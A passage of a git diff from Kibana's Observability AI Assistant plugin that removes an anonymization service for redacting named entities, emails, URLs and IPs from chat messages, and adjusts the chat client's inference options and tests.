start: number): DetectedEntity => - ({ - entity, - class_name: 'LOC', - class_probability: 1, - start_pos: start, - end_pos: start + entity.length, - type: 'ner', - hash: `hash-${entity}`, - } as DetectedEntity); - -// Stub ml.inferTrainedModel so that model-1 returns two entities and model-2 returns the third -const inferStub = jest.fn().mockImplementation(({ model_id: modelId }: { model_id: string }) => { - return { - inference_results: [ - { - entities: - modelId === 'model-1' - ? [makeEntity('NY', 0), makeEntity('LA', 3)] - : [makeEntity('SF', 6)], - }, - ], - }; -}); - -const esClientMock = { - asCurrentUser: { - ml: { - inferTrainedModel: inferStub, - }, - }, -} as any; - -const nerRules: NerAnonymizationRule[] = [ - { type: 'ner', enabled: true, modelId: 'model-1' } as any, - { type: 'ner', enabled: true, modelId: 'model-2' } as any, -]; - -describe('detectNamedEntities', () => { - beforeEach(() => { - inferStub.mockReset(); - }); - - it('returns empty array when no NER rules are provided', async () => { - const out = await detectNamedEntities('anything', [], mockLogger, esClientMock); - expect(out).toEqual([]); - }); - - it('returns empty array when rules produce no entities', async () => { - inferStub.mockResolvedValueOnce({ inference_results: [{ entities: [] }] }); - const rules: NerAnonymizationRule[] = [{ type: 'ner', enabled: true, modelId: 'noop' } as any]; - const out = await detectNamedEntities('text', rules, mockLogger, esClientMock); - expect(out).toEqual([]); - }); - - it('allows subsequent models to add additional entities of same class', async () => { - inferStub - .mockResolvedValueOnce({ - inference_results: [{ entities: [makeEntity('NY', 0), makeEntity('LA', 3)] }], - }) - .mockResolvedValueOnce({ - inference_results: [{ entities: [makeEntity('SF', 6)] }], - }); - - const entities = await detectNamedEntities('NY LA SF', nerRules, mockLogger, esClientMock); - const names = entities.map((e) => e.entity).sort(); - - expect(names).toEqual(['LA', 'NY', 'SF']); - expect(inferStub).toHaveBeenCalledTimes(2); - }); - - it('does not duplicate entities already detected by previous model', async () => { - // 1st model finds NY, 2nd model returns SF only - inferStub - .mockResolvedValueOnce({ - inference_results: [{ entities: [makeEntity('NY', 0)] }], - }) - .mockResolvedValueOnce({ - inference_results: [{ entities: [makeEntity('SF', 3)] }], - }); - - const rules: NerAnonymizationRule[] = [ - { type: 'ner', enabled: true, modelId: 'm1' } as any, - { type: 'ner', enabled: true, modelId: 'm2' } as any, - ]; - - const output = await detectNamedEntities('NY SF', rules, mockLogger, esClientMock); - const names = output.map((e) => e.entity).sort(); - expect(names).toEqual(['NY', 'SF']); - - // verify second call’s text no longer contains NY - const secondCallDocs = inferStub.mock.calls[1][0].docs as Array<{ text_field: string }>; - expect(secondCallDocs[0].text_field).not.toMatch(/NY/); - - expect(inferStub).toHaveBeenCalledTimes(2); - }); -}); diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/detect_named_entities.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/detect_named_entities.ts deleted file mode 100644 index fa25f5feac0ad..0000000000000 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/detect_named_entities.ts +++ /dev/null @@ -1,121 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { chunk } from 'lodash'; -import pLimit from 'p-limit'; -import type { Logger } from '@kbn/core/server'; -import { ElasticsearchClient } from '@kbn/core/server'; -import { withInferenceSpan } from '@kbn/inference-tracing'; -import { DetectedEntity, InferenceChunk, NerAnonymizationRule } from '../../../common/types'; -import { redactEntities, NER_MODEL_ID } from '../../../common/utils/anonymization/redaction'; -import { chunkText } from './chunk_text'; -import { getEntityHash } from './get_entity_hash'; - -const DEFAULT_MAX_CONCURRENT_REQUESTS = 5; - -async function detectNamedEntitiesForModel({ - modelId, - chunks, - logger, - esClient, -}: { - modelId: string; - chunks: InferenceChunk[]; - logger: Logger; - esClient: { asCurrentUser: ElasticsearchClient }; -}): Promise { - logger.debug(`Detecting named entities with model ${modelId} in ${chunks.length} text chunks`); - - // Maximum number of concurrent requests to the ML model - const limiter = pLimit(DEFAULT_MAX_CONCURRENT_REQUESTS); - - // Batch size - number of documents to send in each request - const BATCH_SIZE = 10; - - // Create batches of chunks for the inference request - const batches = chunk(chunks, BATCH_SIZE); - logger.debug(`Processing ${batches.length} batches of up to ${BATCH_SIZE} chunks each`); - - const tasks = batches.map((batchChunks) => - limiter(async () => - withInferenceSpan('infer_ner', async () => { - let response; - try { - response = await esClient.asCurrentUser.ml.inferTrainedModel({ - model_id: modelId, - docs: batchChunks.map((batchChunk) => ({ text_field: batchChunk.chunkText })), - }); - } catch (error) { - throw new Error('NER inference failed', { cause: error }); - } - - // Process results from all documents in the batch - const batchResults: DetectedEntity[] = []; - const inferenceResults = response?.inference_results || []; - - if (inferenceResults.length !== batchChunks.length) { - logger.warn( - `NER returned ${inferenceResults.length} results for ${batchChunks.length} docs in batch` - ); - } - - // Match results with their original chunks to maintain offsets - inferenceResults.forEach((result, index) => { - const batchChunk = batchChunks[index]; - const entities = result.entities || []; - - batchResults.push( - ...entities.map((e) => ({ - ...e, - start_pos: e.start_pos + batchChunk.charStartOffset, - end_pos: e.end_pos + batchChunk.charStartOffset, - type: 'ner' as const, - hash: getEntityHash(e.entity, e.class_name), - })) - ); - }); - - return batchResults; - }) - ) - ); - - const results = await Promise.all(tasks); - const flatResults = results.flat(); - logger.debug(`Total entities detected: ${flatResults.length}`); - return flatResults; -} - -export async function detectNamedEntities( - content: string, - rules: NerAnonymizationRule[] = [], - logger: Logger, - esClient: { asCurrentUser: ElasticsearchClient } -): Promise { - // Only run NER if we have NER rules enabled - if (!rules.length) { - return []; - } - - const nerEntities: DetectedEntity[] = []; - - let workingText = content; - - for (const rule of rules) { - const modelId = rule.modelId ?? NER_MODEL_ID; - const chunks = chunkText(workingText); - const detected = await detectNamedEntitiesForModel({ modelId, chunks, logger, esClient }); - - if (detected.length) { - nerEntities.push(...detected); - // redact already-found entities so subsequent models cannot see them - workingText = redactEntities(workingText, detected); - } - } - - return nerEntities; -} diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/detect_regex_entities.test.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/detect_regex_entities.test.ts deleted file mode 100644 index bfc7329b218f6..0000000000000 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/detect_regex_entities.test.ts +++ /dev/null @@ -1,89 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { detectRegexEntities } from './detect_regex_entities'; -import { getEntityHash } from './get_entity_hash'; -import { RegexAnonymizationRule } from '../../../common/types'; - -describe('getEntityHash', () => { - it('returns the same hash for differently cased emails when normalize=true', () => { - const lower = getEntityHash('KATY@GMAIL.COM', 'EMAIL', true); - const upper = getEntityHash('katy@gmail.com', 'EMAIL', true); - expect(lower).toEqual(upper); - }); - - it('returns different hashes for differently cased emails when normalize=false', () => { - const lower = getEntityHash('KATY@GMAIL.COM', 'EMAIL'); - const upper = getEntityHash('katy@gmail.com', 'EMAIL'); - expect(lower).not.toEqual(upper); - }); - - it('defaults normalize=false when not passed', () => { - const withExplicitFalse = getEntityHash('Test', 'CUSTOM'); - const withDefault = getEntityHash('Test', 'CUSTOM'); - expect(withExplicitFalse).toEqual(withDefault); - }); -}); - -describe('detectRegexEntities', () => { - // Mock logger - const mockLogger = { - error: jest.fn(), - } as any; - - // Test rules - similar to what would be in the anonymization.spec.ts - const testRules: RegexAnonymizationRule[] = [ - { - entityClass: 'EMAIL', - type: 'regex', - pattern: '\\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Z|a-z]{2,}\\b', - enabled: true, - }, - { - entityClass: 'URL', - type: 'regex', - pattern: '\\bhttps?://[^\\s]+\\b', - enabled: true, - }, - { - entityClass: 'IP', - type: 'regex', - pattern: '\\b(?:\\d{1,3}\\.){3}\\d{1,3}\\b', - enabled: true, - }, - ]; - - it('detects and hashes an email address', () => { - const content = 'Contact me at TEST@Example.Com'; - const entities = detectRegexEntities(content, testRules, mockLogger); - expect(entities).toHaveLength(1); - expect(entities[0].entity).toBe('TEST@Example.Com'); - expect(entities[0].class_name).toBe('EMAIL'); - - const expectedHash = getEntityHash('TEST@Example.Com', 'EMAIL'); - expect(entities[0].hash).toBe(expectedHash); - }); - - it('detects URL, IP, and email all in one string', () => { - const content = - 'Check https://kibana.elastic.co, reach me at user@elastic.co, or ping 192.168.1.1'; - const entities = detectRegexEntities(content, testRules, mockLogger); - - const classes = entities.map((e) => e.class_name); - expect(classes).toContain('URL'); - expect(classes).toContain('EMAIL'); - expect(classes).toContain('IP'); - }); - - it('computes correct start and end positions', () => { - const content = 'Email: hello@example.com'; - const entities = detectRegexEntities(content, testRules, mockLogger); - const emailEntity = entities.find((e) => e.class_name === 'EMAIL'); - expect(emailEntity).toBeDefined(); - expect(content.slice(emailEntity!.start_pos, emailEntity!.end_pos)).toBe(emailEntity!.entity); - }); -}); diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/detect_regex_entities.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/detect_regex_entities.ts deleted file mode 100644 index 44ca9e9dce34d..0000000000000 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/detect_regex_entities.ts +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ -import type { Logger } from '@kbn/core/server'; -import { RegexAnonymizationRule, DetectedEntity } from '../../../common/types'; -import { getEntityHash } from './get_entity_hash'; - -function getMatches(content: string, regex: RegExp, className: string): DetectedEntity[] { - const result: DetectedEntity[] = []; - let match: RegExpExecArray | null; - - while ((match = regex.exec(content)) !== null) { - const entityText = match[0]; - const start = match.index; - const end = start + entityText.length; - const hash = getEntityHash(entityText, className); - result.push({ - entity: entityText, - class_name: className, - start_pos: start, - end_pos: end, - hash, - type: 'regex', - }); - } - return result; -} - -export function detectRegexEntities( - content: string, - rules: RegexAnonymizationRule[] = [], - logger: Logger -): DetectedEntity[] { - const results: DetectedEntity[] = []; - - // Apply each regex rule - for (const rule of rules) { - try { - const regex = new RegExp(rule.pattern!, 'g'); - results.push(...getMatches(content, regex, rule.entityClass ?? false)); - } catch (error) { - // Skip invalid regex patterns - logger.error(`Invalid regex pattern in rule ${rule.entityClass}: ${rule.pattern}`, error); - } - } - - return results; -} diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/get_redactable_message_parts.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/get_redactable_message_parts.ts deleted file mode 100644 index 7cb446713f87b..0000000000000 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/get_redactable_message_parts.ts +++ /dev/null @@ -1,33 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { ChatCompletionMessageEvent } from '@kbn/inference-common'; -import { type Message, MessageRole } from '../../../common/types'; - -// TODO: to use in redactMessages when we update NER to work with JSON string -export function getRedactableMessageParts(message: Message) { - if (message.message.role === MessageRole.Assistant) { - return { - // we might want to consider not running detection on assistant responses (content) - // as they're already coming from the LLM - content: message.message.content, - function_call: message.message.function_call?.arguments, - }; - } - - return { - content: message.message.content, - }; -} -export function getRedactableMessageEventParts(event: ChatCompletionMessageEvent) { - return { - content: event.content, - toolCalls: event.toolCalls?.map((toolCall) => ({ - function: toolCall.function, - })), - }; -} diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/index.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/index.ts deleted file mode 100644 index b41bb4cbe6983..0000000000000 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/anonymization/index.ts +++ /dev/null @@ -1,241 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { ElasticsearchClient } from '@kbn/core/server'; -import { OperatorFunction, map } from 'rxjs'; -import type { Logger } from '@kbn/core/server'; -import { ChatCompletionEvent, ChatCompletionEventType } from '@kbn/inference-common'; -import { ChatCompletionUnredactedMessageEvent } from '@kbn/inference-common/src/chat_complete/events'; -import { unhashString, redactEntities } from '../../../common/utils/anonymization/redaction'; -import { detectRegexEntities } from './detect_regex_entities'; -import { deanonymizeText } from './deanonymize_text'; -import { getRedactableMessageEventParts } from './get_redactable_message_parts'; -import { - type DetectedEntity, - DetectedEntityType, - type Message, - type AnonymizationRule, - RegexAnonymizationRule, - NerAnonymizationRule, -} from '../../../common/types'; -import { detectNamedEntities } from './detect_named_entities'; - -export interface Dependencies { - esClient: { - asCurrentUser: ElasticsearchClient; - }; - logger: Logger; - anonymizationRules: AnonymizationRule[]; -} - -export class AnonymizationService { - private readonly esClient: { asCurrentUser: ElasticsearchClient }; - private readonly logger: Logger; - private rules: AnonymizationRule[]; - - private currentHashMap: Map< - string, - { value: string; class_name: string; type: DetectedEntityType } - > = new Map(); - - constructor({ esClient, logger, anonymizationRules }: Dependencies) { - this.esClient = esClient; - this.logger = logger; - this.rules = anonymizationRules; - } - - private async detectEntities(content: string): Promise { - // Skip detection if there's no content - if (!content || !content.trim()) { - return []; - } - - this.logger.debug('Detecting entities in text content'); - - // Filter rules by type - const nerRules = this.rules.filter( - (rule) => rule.type === 'ner' && rule.enabled - ) as NerAnonymizationRule[]; - const regexRules = this.rules.filter( - (rule) => rule.type === 'regex' && rule.enabled - ) as RegexAnonymizationRule[]; - - // Detect named entities - const nerEntities = await detectNamedEntities(content, nerRules, this.logger, this.esClient); - - // Detect entities using regex patterns - const regexEntities = detectRegexEntities(content, regexRules, this.logger); - - // Combine and deduplicate entities - const combined = [...nerEntities, ...regexEntities]; - - // Give precedence to regex entities over overlapping NER entities - const deduped = combined.filter((ent) => - // Regex entities take precedence over NER entities - ent.type === 'regex' - ? true - : // check for intersecting ranges with regex entities - !regexEntities.some((re) => ent.start_pos < re.end_pos && ent.end_pos > re.start_pos) - ); - - this.logger.debug( - `Detected ${nerEntities.length} NER entities and ${regexEntities.length} regex entities, ${deduped.length} after deduplication` - ); - - return deduped; - } - - /** - * Redacts all user messages by replacing detected entities with {hash} placeholders - */ - async redactMessages(messages: Message[]): Promise<{ redactedMessages: Message[] }> { - if (!this.rules.length) { - return { redactedMessages: messages }; - } - - for (const msg of messages) { - // we may want to ignore assistant responses in the future - if (!msg.message.content) { - continue; - } - - const entities = await this.detectEntities(msg.message.content); - - if (entities.length) { - msg.message.content = redactEntities(msg.message.content, entities); - - // Update hashMap - entities.forEach((e) => { - this.currentHashMap.set(e.class_name + '_' + e.hash, { - value: e.entity, - class_name: e.class_name, - type: e.type, - }); - }); - } - } - - // Redact entity values inside any function_call.arguments JSON strings - for (const msg of messages) { - const argsStr = msg.message.function_call?.arguments; - if (!argsStr) continue; - - let redactedArgs = argsStr; - // Replace every known entity value with its hash - this.currentHashMap.forEach((info, hash) => { - redactedArgs = redactedArgs.split(info.value).join(hash); - }); - msg.message.function_call!.arguments = redactedArgs; - } - return { redactedMessages: messages }; - } - - /** - * Restores all {hash} placeholders in-place and attaches `unredactions` array - * for UI highlighting (content only). - */ - unredactMessages(messages: Message[]): { unredactedMessages: Message[] } { - for (const msg of messages) { - const content = msg.message.content; - if (content) { - const { unhashedText, detectedEntities } = deanonymizeText(content, this.currentHashMap); - - msg.message.content = unhashedText; - if (detectedEntities.length > 0) { - msg.message.unredactions = detectedEntities.map(({ hash, ...rest }) => rest); - } - } - - // also unhash function_call.arguments if present - if (msg.message.function_call?.arguments) { - msg.message.function_call.arguments = unhashString( - msg.message.function_call.arguments, - this.currentHashMap - ); - } - } - return { unredactedMessages: messages }; - } - - unredactChatCompletionEvent(): OperatorFunction< - ChatCompletionEvent, - ChatCompletionEvent | ChatCompletionUnredactedMessageEvent - > { - return (source$) => { - return source$.pipe( - map((event): ChatCompletionEvent | ChatCompletionUnredactedMessageEvent => { - if (event.type === ChatCompletionEventType.ChatCompletionMessage) { - const redacted = getRedactableMessageEventParts(event); - const contentUnredaction = - 'content' in redacted && redacted.content && typeof redacted.content === 'string' - ? deanonymizeText(redacted.content, this.currentHashMap) - : undefined; - const unredaction = deanonymizeText(JSON.stringify(redacted), this.currentHashMap); - const unredactedObj = JSON.parse(unredaction.unhashedText); - - // Ensure tool call arguments are always strings, even if they're objects in the JSON - if (unredactedObj.toolCalls) { - unredactedObj.toolCalls = unredactedObj.toolCalls.map( - (toolCall: { - function?: { - name?: string; - arguments?: any; - }; - }) => { - if (toolCall.function && typeof toolCall.function.arguments === 'object') { - // Convert object arguments to strings to maintain compatibility in redactMessages and unredactMessages - return { - ...toolCall, - function: { - ...toolCall.function, - arguments: JSON.stringify(toolCall.function.arguments), - }, - }; - } - return toolCall; - } - ); - } - - const redactedEvent: ChatCompletionUnredactedMessageEvent = { - ...event, - ...unredactedObj, - }; - if (contentUnredaction && contentUnredaction.detectedEntities.length > 0) { - redactedEvent.unredactions = contentUnredaction.detectedEntities; - // TODO: not being passed through due to concatenateChatCompletionChunks filtering out non chunk events - // causing knowledge base entities to be stored with redactions - // and having to call undreactMessages outside chat - } - return redactedEvent; - } - return event; - }) - ); - }; - } - isEnabled(): boolean { - return this.rules.some((rule) => rule.enabled); - } - getAnonymizationInstruction(): string { - if (!this.isEnabled()) return ''; - - const nerClasses = ['PER', 'LOC', 'ORG', 'MISC']; - const regexClasses = this.rules - .filter((rule) => rule.type === 'regex' && rule.enabled) - .map((rule) => (rule as RegexAnonymizationRule).entityClass); - - const allClasses = [...nerClasses, ...regexClasses]; - const exampleTokens = allClasses.map((c) => `\`${c}_abc123\``).join(', '); - - return `Some entities in this conversation have been anonymized using placeholder tokens (e.g., ${exampleTokens}). - These represent named entities such as people (PER), locations (LOC), organizations (ORG), and miscellaneous types (MISC), ${ - regexClasses.length ? `as well as custom types like ${regexClasses.join(', ')}. ` : '' - } - Do not attempt to infer their meaning, type, or real-world identity. Refer to them exactly as they appear unless explicitly resolved or described.`; - } -} diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/index.test.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/index.test.ts index 59d6bd3b46656..3b3ed49826049 100644 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/index.test.ts +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/index.test.ts @@ -8,7 +8,7 @@ import type { ActionsClient } from '@kbn/actions-plugin/server/actions_client'; import type { CoreSetup, ElasticsearchClient, IUiSettingsClient, Logger } from '@kbn/core/server'; import type { DeeplyMockedKeys } from '@kbn/utility-types-jest'; import { waitFor } from '@testing-library/react'; -import { last, merge, repeat } from 'lodash'; +import { isEmpty, last, merge, repeat, size } from 'lodash'; import { Subject, Observable } from 'rxjs'; import { EventEmitter, type Readable } from 'stream'; import { finished } from 'stream/promises'; @@ -31,7 +31,6 @@ import type { KnowledgeBaseService } from '../knowledge_base_service'; import { observableIntoStream } from '../util/observable_into_stream'; import type { ObservabilityAIAssistantConfig } from '../../config'; import type { ObservabilityAIAssistantPluginStartDependencies } from '../../types'; -import { AnonymizationService } from '../anonymization'; interface ChunkDelta { content?: string | undefined; @@ -140,6 +139,7 @@ describe('Observability AI Assistant client', () => { // uncomment this line for debugging // const consoleOrPassThrough = console.log.bind(console); + const consoleOrPassThrough = () => {}; loggerMock = { @@ -189,13 +189,6 @@ describe('Observability AI Assistant client', () => { }, inferenceClient: inferenceClientMock, knowledgeBaseService: knowledgeBaseServiceMock, - anonymizationService: new AnonymizationService({ - esClient: { - asCurrentUser: currentUserEsClientMock, - }, - anonymizationRules: [], - logger: loggerMock, - }), logger: loggerMock, namespace: 'default', user: { @@ -296,6 +289,8 @@ describe('Observability AI Assistant client', () => { system: 'You are a helpful assistant for Elastic Observability. Assume the following message is the start of a conversation between you and a user; give this conversation a title based on the content below. DO NOT UNDER ANY CIRCUMSTANCES wrap this title in single or double quotes. This title is shown in a list of conversations to the user, so title it for the user, not for you.', functionCalling: 'auto', + maxRetries: 0, + temperature: 0.25, toolChoice: expect.objectContaining({ function: 'title_conversation', }), @@ -333,6 +328,8 @@ describe('Observability AI Assistant client', () => { { role: 'user', content: 'How many alerts do I have?' }, ]), functionCalling: 'auto', + maxRetries: 0, + temperature: 0.25, toolChoice: undefined, tools: undefined, metadata: { @@ -859,6 +856,8 @@ describe('Observability AI Assistant client', () => { { role: 'user', content: 'How many alerts do I have?' }, ]), functionCalling: 'auto', + maxRetries: 0, + temperature: 0.25, toolChoice: 'auto', tools: expect.any(Object), metadata: { @@ -1018,6 +1017,8 @@ describe('Observability AI Assistant client', () => { { role: 'user', content: 'How many alerts do I have?' }, ]), functionCalling: 'auto', + maxRetries: 0, + temperature: 0.25, toolChoice: 'auto', tools: expect.any(Object), metadata: { @@ -1280,12 +1281,14 @@ describe('Observability AI Assistant client', () => { ]); functionClientMock.hasFunction.mockImplementation((name) => name === 'get_top_alerts'); - functionClientMock.executeFunction.mockImplementation(async () => ({ - content: 'Call this function again', - })); + functionClientMock.executeFunction.mockImplementation(async () => { + return { + content: 'Call this function again', + }; + }); stream = observableIntoStream( - await client.complete({ + client.complete({ connectorId: 'foo', messages: [user('How many alerts do I have?')], functionClient: functionClientMock, @@ -1303,7 +1306,7 @@ describe('Observability AI Assistant client', () => { const body = inferenceClientMock.chatComplete.mock.lastCall![0]; let nextLlmCallPromise: Promise; - if (Object.keys(body.tools ?? {}).length) { + if (!isEmpty(body.tools) && body.tools.exit_loop === undefined) { nextLlmCallPromise = waitForNextLlmCall(); await llmSimulator.chunk({ function_call: { name: 'get_top_alerts', arguments: '{}' } }); } else { @@ -1333,9 +1336,19 @@ describe('Observability AI Assistant client', () => { const firstBody = inferenceClientMock.chatComplete.mock.calls[0][0] as any; const body = inferenceClientMock.chatComplete.mock.lastCall![0] as any; - expect(Object.keys(firstBody.tools ?? {}).length).toEqual(1); + expect(size(firstBody.tools)).toEqual(1); - expect(body.tools).toEqual(undefined); + expect(body.tools).toEqual({ + exit_loop: { + description: + "You've run out of tool calls. Call this tool, and explain to the user you've run out of budget.", + schema: { + properties: { response: { description: 'Your textual response', type: 'string' } }, + required: ['response'], + type: 'object', + }, + }, + }); }); }); diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/index.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/index.ts index f7ea59f02c70a..486878647e5c8 100644 --- a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/index.ts +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/index.ts @@ -62,7 +62,6 @@ import { import { CONTEXT_FUNCTION_NAME } from '../../functions/context/context'; import type { ChatFunctionClient } from '../chat_function_client'; import { KnowledgeBaseService, RecalledEntry } from '../knowledge_base_service'; -import { AnonymizationService } from '../anonymization'; import { getAccessQuery } from '../util/get_access_query'; import { getSystemMessageFromInstructions } from '../util/get_system_message_from_instructions'; import { failOnNonExistingFunctionCall } from './operators/fail_on_non_existing_function_call'; @@ -79,6 +78,7 @@ import { reIndexKnowledgeBaseWithLock } from '../knowledge_base_service/reindex_ import { createOrUpdateKnowledgeBaseIndexAssets } from '../index_assets/create_or_update_knowledge_base_index_assets'; import { getInferenceIdFromWriteIndex } from '../knowledge_base_service/get_inference_id_from_write_index'; import { LEGACY_CUSTOM_INFERENCE_ID } from '../../../common/preconfigured_inference_ids'; +import { addAnonymizationData } from './operators/add_anonymization_data'; const MAX_FUNCTION_CALLS = 8; @@ -102,7 +102,6 @@ export class ObservabilityAIAssistantClient { }; knowledgeBaseService: KnowledgeBaseService; scopes: AssistantScope[]; - anonymizationService: AnonymizationService; } ) {} @@ -249,8 +248,6 @@ export class ObservabilityAIAssistantClient { availableFunctionNames: disableFunctions ? [] : functionClient.getFunctions().map((fn) => fn.definition.name), - anonymizationInstruction: - this.dependencies.anonymizationService.getAnonymizationInstruction(), }) ), shareReplay() @@ -333,73 +330,74 @@ export class ObservabilityAIAssistantClient { systemMessage$, ]).pipe( switchMap(([addedMessages, title, systemMessage]) => { - const { unredactedMessages } = - this.dependencies.anonymizationService.unredactMessages( - initialMessages.concat(addedMessages) - ); - const lastMessage = last(unredactedMessages); - - // if a function request is at the very end, close the stream to consumer - // without persisting or updating the conversation. we need to wait - // on the function response to have a valid conversation - const isFunctionRequest = !!lastMessage?.message.function_call?.name; - - if (!persist || isFunctionRequest) { - return of(); - } - - if (isConversationUpdate && conversation) { - return from( - this.update( - conversationId, - - merge( - {}, - - // base conversation without messages - omit(conversation._source, 'messages'), - - // update messages and system message - { messages: unredactedMessages, systemMessage }, - - // update title - { - conversation: { - title: title || conversation._source?.conversation.title, - }, - } - ) - ) - ).pipe( - map((conversationUpdated): ConversationUpdateEvent => { - return { - conversation: conversationUpdated.conversation, - type: StreamingChatResponseEventType.ConversationUpdate, - }; - }) - ); - } - - return from( - this.create({ - '@timestamp': new Date().toISOString(), - conversation: { - title, - id: conversationId, - }, - public: !!isPublic, - labels: {}, - numeric_labels: {}, - systemMessage, - messages: unredactedMessages, - archived: false, - }) - ).pipe( - map((conversationCreated): ConversationCreateEvent => { - return { - conversation: conversationCreated.conversation, - type: StreamingChatResponseEventType.ConversationCreate, - }; + return nextEvents$.pipe( + addAnonymizationData(initialMessages.concat(addedMessages)), + switchMap((deanonymizedMessages) => { + const lastMessage = last(deanonymizedMessages); + + // if a function request is at the very end, close the stream to consumer + // without persisting or updating the conversation. we need to wait + // on the function response to have a valid conversation + const isFunctionRequest = !!lastMessage?.message.function_call?.name; + + if (!persist || isFunctionRequest) { + return of(); + } + + if (isConversationUpdate && conversation) { + return from( + this.update( + conversationId, + + merge( + {}, + + // base conversation without messages + omit(conversation._source, 'messages'), + + // update messages and system message + { messages: deanonymizedMessages, systemMessage }, + + // update title + { + conversation: { + title: title || conversation._source?.conversation.title, + }, + } + ) + ) + ).pipe( + map((conversationUpdated): ConversationUpdateEvent => { + return { + conversation: conversationUpdated.conversation, + type: StreamingChatResponseEventType.ConversationUpdate, + }; + }) + ); + } + + return from( + this.create({ + '@timestamp': new Date().toISOString(), + conversation: { + title, + id: conversationId, + }, + public: !!isPublic, + labels: {}, + numeric_labels: {}, + systemMessage, + messages: deanonymizedMessages, + archived: false, + }) + ).pipe( + map((conversationCreated): ConversationCreateEvent => { + return { + conversation: conversationCreated.conversation, + type: StreamingChatResponseEventType.ConversationCreate, + }; + }) + ); }) ); }) @@ -483,6 +481,7 @@ export class ObservabilityAIAssistantClient { const options = { connectorId, system: systemMessage, + messages: convertMessagesForInference(messages, this.dependencies.logger), toolChoice, tools, functionCalling: (simulateFunctionCalling ? 'simulated' : 'auto') as FunctionCallingMode, @@ -495,28 +494,19 @@ export class ObservabilityAIAssistantClient { this.dependencies.logger.debug( () => - `Options for inference client for name: "${name}" before anonymization: ${JSON.stringify({ - ...options, - messages, - })}` + `Options for inference client for name: "${name}" before anonymization: ${JSON.stringify( + options + )}` ); if (stream) { return defer(() => - from(this.dependencies.anonymizationService.redactMessages(messages)).pipe( - switchMap(({ redactedMessages }) => { - return ( - this.dependencies.inferenceClient - .chatComplete({ - ...options, - stream: true, - messages: convertMessagesForInference(redactedMessages, this.dependencies.logger), - }) - // unredact complete assistant response event - .pipe(this.dependencies.anonymizationService.unredactChatCompletionEvent()) - ); - }) - ) + this.dependencies.inferenceClient.chatComplete({ + ...options, + temperature: 0.25, + maxRetries: 0, + stream: true, + }) ).pipe( convertInferenceEventsToStreamingEvents(), failOnNonExistingFunctionCall({ functions }), @@ -535,6 +525,8 @@ export class ObservabilityAIAssistantClient { return this.dependencies.inferenceClient.chatComplete({ ...options, messages: convertMessagesForInference(messages, this.dependencies.logger), + temperature: 0.25, + maxRetries: 0, stream: false, }) as TStream extends true ? never : Promise; } @@ -878,8 +870,4 @@ export class ObservabilityAIAssistantClient { this.dependencies.user ); }; - - getAnonymizationService = () => { - return this.dependencies.anonymizationService; - }; } diff --git a/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/operators/add_anonymization_data.test.ts b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/operators/add_anonymization_data.test.ts new file mode 100644 index 0000000000000..cd3ba0b8f4411 --- /dev/null +++ b/x-pack/platform/plugins/shared/observability_ai_assistant/server/service/client/operators/add_anonymization_data.test.ts @@ -0,0 +1,138 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { of, lastValueFrom } from 'rxjs'; +import { addAnonymizationData } from './add_anonymization_data'; +import { Deanonymization, Message, MessageRole } from '../../../../common/types'; +import { + MessageAddEvent, + StreamingChatResponseEventType, +} from '../../../../common/conversation_complete'; + +const baseTimestamp = '2025-07-06T00:00:00.000Z'; + +function createMessage(role: MessageRole, content: string): Message { + return { + '@timestamp': baseTimestamp, + message: { + role, + content, + }, + }; +} + +function createDeanonymization(entityValue: string): Deanonymization { + return { + start: 0, + end: entityValue.length, + entity: { + class_name: 'test_entity', + value: entityValue, + mask: '[redacted]', + }, + }; +} + +describe('addAnonymizationData operator', () => { + const userMessage = 